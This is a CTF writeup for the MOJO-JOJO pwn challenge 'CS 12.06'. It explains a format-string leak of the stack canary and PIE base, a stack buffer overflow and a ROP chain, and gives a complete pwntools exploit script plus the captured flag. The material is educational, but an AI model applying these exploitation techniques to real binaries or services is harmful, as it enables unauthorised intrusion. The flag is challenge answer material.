Skip to main content
CS 12.06 - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

CS 12.06 - CTF Writeup

·938 words·5 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: CS 12.06
Category: PWN
CTF: MOJO-JOJO
Description: XIIVI ONCE SAID “IINEK DIMA AL HOLILA”
Connection: nc mojo-pwn.securinets.tn 9006


Challenge Overview
#

The challenge presents a binary with multiple security mechanisms enabled (PIE, Stack Canary, NX) that requires bypassing authentication to access a hidden function that reads and exfiltrates a flag.

Initial Analysis
#

Binary Information
#

$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped

$ checksec challenge
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

Program Behavior
#

--- CS 12.06 ---
Security Level: MAXIMUM

[LOG] Initializing secure logging sequence...
[LOG] Identity verification required: 
[LOG] Identity confirmed: 

[GATE] Physical authentication barrier active.
[GATE] Provide phrase: 
[GATE] Authentication failed. Terminating session.
[SYSTEM] System shutdown.

Vulnerability Discovery
#

1. Format String Vulnerability in _log_handler
#

Disassembling the _log_handler function revealed a format string vulnerability:

1523:  mov    0x2b66(%rip),%rdx        # stdin
152a:  lea    -0x20(%rbp),%rax         # user input buffer
152e:  mov    $0x14,%esi               # read 20 bytes max
1533:  mov    %rax,%rdi
1536:  call   fgets@plt

1554:  lea    -0x20(%rbp),%rax         # our input
1558:  mov    %rax,%rdi
155b:  mov    $0x0,%eax
1560:  call   printf@plt               # VULNERABLE: printf(user_input)

The identity field input is passed directly to printf(), allowing us to leak stack values using format string specifiers.

Testing the vulnerability:

$ echo -e "%p.%p.%p.%p\ntest" | ./challenge
[LOG] Identity confirmed: 0x7ffd6ebdde10.(nil).(nil).0x7ffd6ebdde90

2. Buffer Overflow in _auth_guard
#

The _auth_guard function has a classic buffer overflow:

1580:  sub    $0x30,%rsp               # Allocate 48 bytes (0x30)
15b6:  lea    -0x30(%rbp),%rax         # Buffer at rbp-0x30
15ba:  mov    $0x100,%edx              # Read 256 bytes (0x100) - OVERFLOW!
15bf:  mov    %rax,%rsi
15c2:  mov    $0x0,%edi
15c7:  call   read@plt

The buffer is 48 bytes but read() accepts up to 256 bytes, allowing us to overflow the stack.

3. Hidden Function: _sys_maintenance
#

The binary contains a hidden function _sys_maintenance at offset 0x11e9 that:

  • Checks three arguments: rdi=0x1206, rsi=0x1161, rdx=0xcafebab
  • Decodes a filename by XORing bytes
  • Opens and reads the flag file
  • Prints the flag
1230:  cmpq   $0x1206,-0xb8(%rbp)     # Check arg1
123d:  cmpq   $0x1161,-0xc0(%rbp)     # Check arg2
124a:  cmpq   $0xcafebab,-0xc8(%rbp)  # Check arg3
1255:  je     0x128e                   # All match? Continue to flag

4. Useful ROP Gadgets
#

Two special gadgets were discovered:

_proc_ctx (0x1482):

pop    rbx
pop    rbp
pop    r12
pop    r13
mov    r14,QWORD PTR [rsp]      # Load r14 from stack
add    rsp,0x8
mov    r15,QWORD PTR [rsp]      # Load r15 from stack
add    rsp,0x8
ret

_proc_ctx_2 (0x149b):

mov    rdx,r14                  # arg3
mov    rsi,r13                  # arg2
mov    edi,r12d                 # arg1
xor    rbx,0x1337
call   QWORD PTR [r15+rbx*8]   # Indirect call
ret

These gadgets allow us to:

  1. Load controlled values into registers
  2. Call any function with three arguments

Exploitation Strategy
#

Step 1: Leak Stack Canary and PIE Base
#

Using the format string vulnerability, we leak:

  • Offset 17: Stack canary (always ends in 0x00)
  • Offset 23: A code address (ending in 0x5f2, which is the main function at 0x15f2)
leak_payload = b'%17$p.%23$p'
# Example output: 0x316b452acebc5900.0x5be510e9a5f2

From the leaked code address, we calculate the PIE base:

pie_base = (leaked_addr - 0x15f2) & ~0xfff

Step 2: Build ROP Chain
#

The stack layout in _auth_guard:

rbp-0x30: buffer start (48 bytes)
rbp-0x08: canary (8 bytes)
rbp+0x00: saved rbp (8 bytes)
rbp+0x08: return address

Our ROP chain:

payload = b'A' * 40              # Fill buffer to canary
payload += p64(canary)           # Preserve canary to bypass check
payload += b'B' * 8              # Saved RBP (doesn't matter)

# ROP chain
payload += p64(proc_ctx_addr)    # Return to _proc_ctx
payload += p64(0x1337)           # rbx (will XOR to 0)
payload += p64(0)                # rbp (dummy)
payload += p64(0x1206)           # r12 -> edi (arg1)
payload += p64(0x1161)           # r13 -> rsi (arg2)
payload += p64(0xcafebab)        # r14 -> rdx (arg3)
payload += p64(k_dispatch_table) # r15 (function table base)
payload += p64(proc_ctx_2_addr)  # Return address

Step 3: Trigger Exploitation
#

When _proc_ctx_2 executes:

  1. It moves our controlled values into argument registers
  2. XORs rbx (0x1337) with 0x1337 = 0
  3. Calls [r15 + 0*8] = [k_dispatch_table] which points to _sys_maintenance
  4. _sys_maintenance receives the correct arguments and reads the flag

Exploit Code
#

#!/usr/bin/env python3
from pwn import *

HOST = 'mojo-pwn.securinets.tn'
PORT = 9006

context.binary = elf = ELF('./challenge')
context.arch = 'amd64'

# Offsets (PIE-relative)
proc_ctx = 0x1482  
proc_ctx_2 = 0x149b  
sys_maintenance = 0x11e9
k_dispatch_table_offset = 0x40b0

# Required arguments for _sys_maintenance
arg1 = 0x1206  
arg2 = 0x1161  
arg3 = 0xcafebab  

def exploit():
    io = remote(HOST, PORT)
    
    # Leak canary and code address
    io.recvuntil(b'Identity verification required: ')
    leak_payload = b'%17$p.%23$p'
    io.sendline(leak_payload)
    
    io.recvuntil(b'Identity confirmed: ')
    leaks = io.recvline().strip().decode().split('.')
    
    canary = int(leaks[0], 16)
    leaked_addr = int(leaks[1], 16)
    pie_base = (leaked_addr - 0x15f2) & ~0xfff
    
    log.success(f"Canary: {hex(canary)}")
    log.success(f"PIE base: {hex(pie_base)}")
    
    # Calculate addresses
    proc_ctx_addr = pie_base + proc_ctx
    proc_ctx_2_addr = pie_base + proc_ctx_2
    k_dispatch_table_addr = pie_base + k_dispatch_table_offset
    
    # Build ROP chain
    io.recvuntil(b'Provide phrase: ')
    
    payload = b'A' * 40
    payload += p64(canary)
    payload += b'B' * 8
    payload += p64(proc_ctx_addr)
    payload += p64(0x1337)
    payload += p64(0)
    payload += p64(arg1)
    payload += p64(arg2)
    payload += p64(arg3)
    payload += p64(k_dispatch_table_addr)
    payload += p64(proc_ctx_2_addr)
    
    io.send(payload)
    io.interactive()

if __name__ == '__main__':
    exploit()

Result
#

[SYSTEM] Quantum Vector Alignment Confirmed.
[SYSTEM] Bypassing security kernels... Initiating Core Dump...

>>> DATA EXFILTRATED:MOJO-JOJO{12.06_TNAJEM_TKOUL_EL_COMEBACKSZN}

[SYSTEM] Session terminated safely.

Final Flag
#

MOJO-JOJO{12.06_TNAJEM_TKOUL_EL_COMEBACKSZN}

Key Takeaways
#

  1. Format String + Buffer Overflow: Chaining vulnerabilities - use format string to leak necessary values, then exploit buffer overflow
  2. Canary Bypass: Stack canaries can be bypassed if we can leak them
  3. PIE Bypass: Leaking a single code address allows calculating the base address
  4. Custom ROP Gadgets: The challenge provided custom gadgets designed for setting up function calls
  5. Defense in Depth: Multiple protections (PIE, canary, NX) require multiple bypass techniques

Related